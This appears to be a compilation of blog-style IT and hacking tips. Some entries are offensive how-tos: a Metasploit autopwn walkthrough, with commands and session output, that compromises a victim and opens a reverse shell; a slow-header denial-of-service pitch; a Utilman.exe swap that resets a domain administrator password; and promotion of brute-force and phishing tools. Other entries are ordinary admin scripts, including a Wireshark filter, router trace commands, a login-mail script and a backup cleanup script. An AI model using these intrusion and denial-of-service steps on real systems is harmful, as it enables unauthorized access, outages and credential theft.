Strip WPA2 Handshake with Wireshark

How to Strip your Handshake with Wireshark:

• Open your Capture in Wireshark

•  Enter "eapol || wlan.fc.type_subtype == 0x04 || wlan.fc.type_subtype == 0x08" as filter expression (without quotes) then press "Apply"

•  Go to File -> Save As... Menu, Enter new File name and select "Displayed" to save filtered packets only.

Easy Apache / IIS Slow Header Attack

Slow Header Attack

The Slow Header attack works by exploiting the Client idle timeout value on the server side. This timeout is configured on server side to drop a client connection if a client was found idle during the time interval. The Slow header attack finds the approximate timeout value set in Server side and then chooses a value which is lower than the configured value. The attack then initiates a Http Request with Partial header to the server. It keeps sending one header based on the chosen value and this way Client idle timeout will not be triggered on the server side and Request will not be complete

In essence you can send a Denial Of Service attack to website using one laptop over a proxy.

How to own a Windows XP SP3 Box with Metasploit / Backtrack.

Tutorial: Metasploit DB Autopwning

Commands:

/etc/init.d/postgresql-8.3 start # start the database
msfconsole # start metasploit




db_connect pentest # connect to database
db_nmap HOST IP/ HOSTNAME # Scan for open Ports
db_autopwnage -e -p # -e = All matched Targets, # -p = Select Attacks based on open Ports

Wait until a Meterpreter Session, like:

*] Meterpreter session 1 opened (10.0.0.128:44919 - 10.0.0.130:33411)

Wait until the Attack is over or STRG+C to Terminate the Attack.

Now:

Sessions # shows your connects to the victim
Session -i 1 # you join session 1
shell # opens reverse shell on victim

Use the help function, to get information about other available commands.

FOR EDUCATIONAL PURPOSES ONLY

HexorBase - The Database Hacker Tool

Hexorbase is capable of connecting to any remote accesable database, performing SQL queries and bruteforce attacks against:
mySQL, Oracle, SQlite, SQLserver and PostgreSQL

Phishing Attacks with GUI powered Ghost Phisher Fake DNS, Fake DHCP, Fake Webserver

Phishing Attacks with GUI powered Ghost Phisher Fake DNS, Fake DHCP, Fake Webserver


Ghost Phisher is a computer security application that comes inbuilt with a Fake DNS Server, Fake DHCP Server, Fake HTTP server and also has an integrated area for automatic capture and logging of HTTP form method credentials to a database. The program could be used as an honey pot , could be used to service DHCP request , DNS requests or phishing attacks.

How to allow root user ssh access

How to grant root User SSH Access

cmd-line:


sed -e 's/PermitRootLogin no/PermitRootLogin yes/' -i /etc/ssh/sshd_config
/sbin/service sshd reload

This allowes SSH Access for the user "root".

Lancom Commands

trace + all schaltet alle Trace-Ausgaben ein
trace - all schaltet alle Trace-Ausgaben aus
trace + protocol display schaltet die Ausgabe aller
Verrbindungsprotokolle und der Status- und
Fehlermeldungen ein

trace + all - icmp schaltet alle Trace-Ausgaben mit Ausnahme des
ICMP-Protokolls ein
trace ppp zeigt den Zustand des PPPs an
trace # ipx-rt display schaltet die Trace-Ausgaben des IPX-Routers
und der Display- Ausgaben um
trace + ip-router @ GEGENSTELLE-A GEGENSTELLE-B schaltet die Ausgaben des IP-Routers an für alle
Ausgaben, die sich auf die Gegenstellen A oder B
beziehen
trace + ip-router @ GEGENSTELLE-A
GEGENSTELLE-B -ICMP schaltet die Ausgaben des IP-Routers an für alle
Ausgaben, die sich auf die Gegenstellen A oder B
beziehen, die nicht ICMP verwenden
trace + ip-router @ +TCP + "port: 80" schaltet die Ausgaben des IP-Routers an für alle
Ausgaben, die TCP/IP und den Port 80
verwenden. “port: 80” steht in
Anführungszeichen, um auch das Leerzeichen als
Teil der Zeichenkette einzubeziehen.
trace + vpn-status display schaltet die Ausgaben für einen VPN-Status Trace
ein. Der Parameter display liefert zusätzlich
Status- und Error-Ausgaben.

Show LoginTime when Client logs on to Active Directory Domain

This Script will generate the following Informations automaticly:

Show LoginTime when Client logs on to Active Directory Domain, Domain Server,
Password Age, etc.




function loginmail()

$shortuser = right(@userid,len(@userid)-0)
$objEmail=CreateObject('CDO.Message')
$objEmail.From = "Benutzer_LOGIN "
$objEmail.To = "NameIT@@Domain.TLD"
$objEmail.Subject='LOGIN_Benutzer '+$shortuser+', '+$shortuser2+'. hat sich an '+@wksta+' eingeloggt'
$objEmail.Textbody='-----------[ LOGIN ]-----------------'+chr(10)
$objEmail.Textbody=$objEmail.Textbody + 'Benutzer: '+@userid+''+chr(10)
$objEmail.Textbody=$objEmail.Textbody + 'Workstation: '+@wksta+''+chr(10)
$objEmail.Textbody=$objEmail.Textbody + 'IP: '+@ipaddress0+''+chr(10)
$objEmail.Textbody=$objEmail.Textbody + 'Uhrzeit: '+@TIME+''+chr(10)
$objEmail.Textbody=$objEmail.Textbody + 'Datum: '+@DATE+''+chr(10)
$objEmail.Textbody=$objEmail.Textbody + 'Logon Server: '+@LServer+''+chr(10)+chr(10)
$objEmail.Textbody=$objEmail.Textbody + '-----------[ SYSTEM INFO ]------------'+chr(10)
$objEmail.Textbody=$objEmail.Textbody + 'Passwordalter: '+@PWAge+''+chr(10)
$objEmail.Textbody=$objEmail.Textbody + 'Betriebssystem: '+@ProductType+''+chr(10)
$objEmail.Textbody=$objEmail.Textbody + 'Servicepack: '+@CSD+''+chr(10)
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing").value = 2
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver").value = "your_SMTP_Server"
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate").value = 1
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername").value = "LoginName_for_SMTP_Server"
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword").value = "Password_for_Authentication_to_SMTP_Server"
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport").value = 25
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl").value = False
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout").value = 60
$objEmail.Configuration.Fields.Update
$objEmail.Send
endfunction

-------------------------------------

-----------[ LOGIN ]-----------------
Benutzer: Thomas.Mann
Workstation: WorkstationName
IP: 192.192.192.192
Uhrzeit: 12:00:01
Datum: 2010/01/01
Logon Server: \\DomainControllerName01

-----------[ SYSTEM INFO ]------------
Passwordalter: 150 Days
Betriebssystem: Windows XP Professional
Servicepack: Service Pack 3

Reset Windows Server 2008 Domain Administrator Password

Boot onto DVD of Windows Server 2008
Choose “Repair your computer”
Launch cmd
Go to c:\windows\system32
Rename Utilman.exe to Utilman.exe.bak
Copy cmd.exe to Utilman.exe
Reboot on Windows
Do the keyboard shortcut Windows + U when on the logon screen
net user administrator Newpass123 inside the cmd
log on with the domain admin account and this new pass
change the password to remember it if needed
Reboot on the DVD to put back the original Utilman.exe

Thx to mathieu chateau

Remove Recovery Points XX Days

This Script allowes you to remove Recovery Points on a Microsoft Data Protection Manager 2007 Server, after XX Days.

Usage: RemoveRecoverypoints.PS1 "YourDPMserver" X
e.g.: RemoveRecoverypoints.PS1 "DPM01" 5
This will Remove All Recoverypoints, except those which are 5 max. days or less old.


param([string] $dpmname, [int32] $days )
function Usage()
{
write-host
write-host "Usage::"
write-host "RemoveRecoveryPoints.ps1 "DPMServername" Days(In int)"
write-host
}
if(("-?","-help") -contains $args[0])
{
Usage
exit 0
}
if(!$dpmname)
{
$dpmname = read-host "DPMServerName:"
}
if(!$days)
{
$days = read-host "Number of Days"
}
$pgList = Get-ProtectionGroup $dpmname
Foreach($pg in $pgList)
{
$Name = $pg.FriendlyName
Write-Host "Getting Data Source list for PG $Name..."
$dsList = Get-Datasource $pg
Foreach($ds in $dsList)
{
$Name = $ds.Name
Write-Host "Getting Recovery point list for Data-Source $Name ..."
$rpList = Get-RecoveryPoint $ds
Foreach($rp in $rpList)
{
$date = Get-Date
$datediff = $date - $rp.RepresentedPointInTime
$rpDays = $datediff.Days
Write-Host "Recovery Point is $rpDays days old "
if($rpDays -ge $days)
{
Write-Host "Removing Recovery Point older than $rpDays"
Remove-RecoveryPoint -RecoveryPoint $rp
}
}
}
}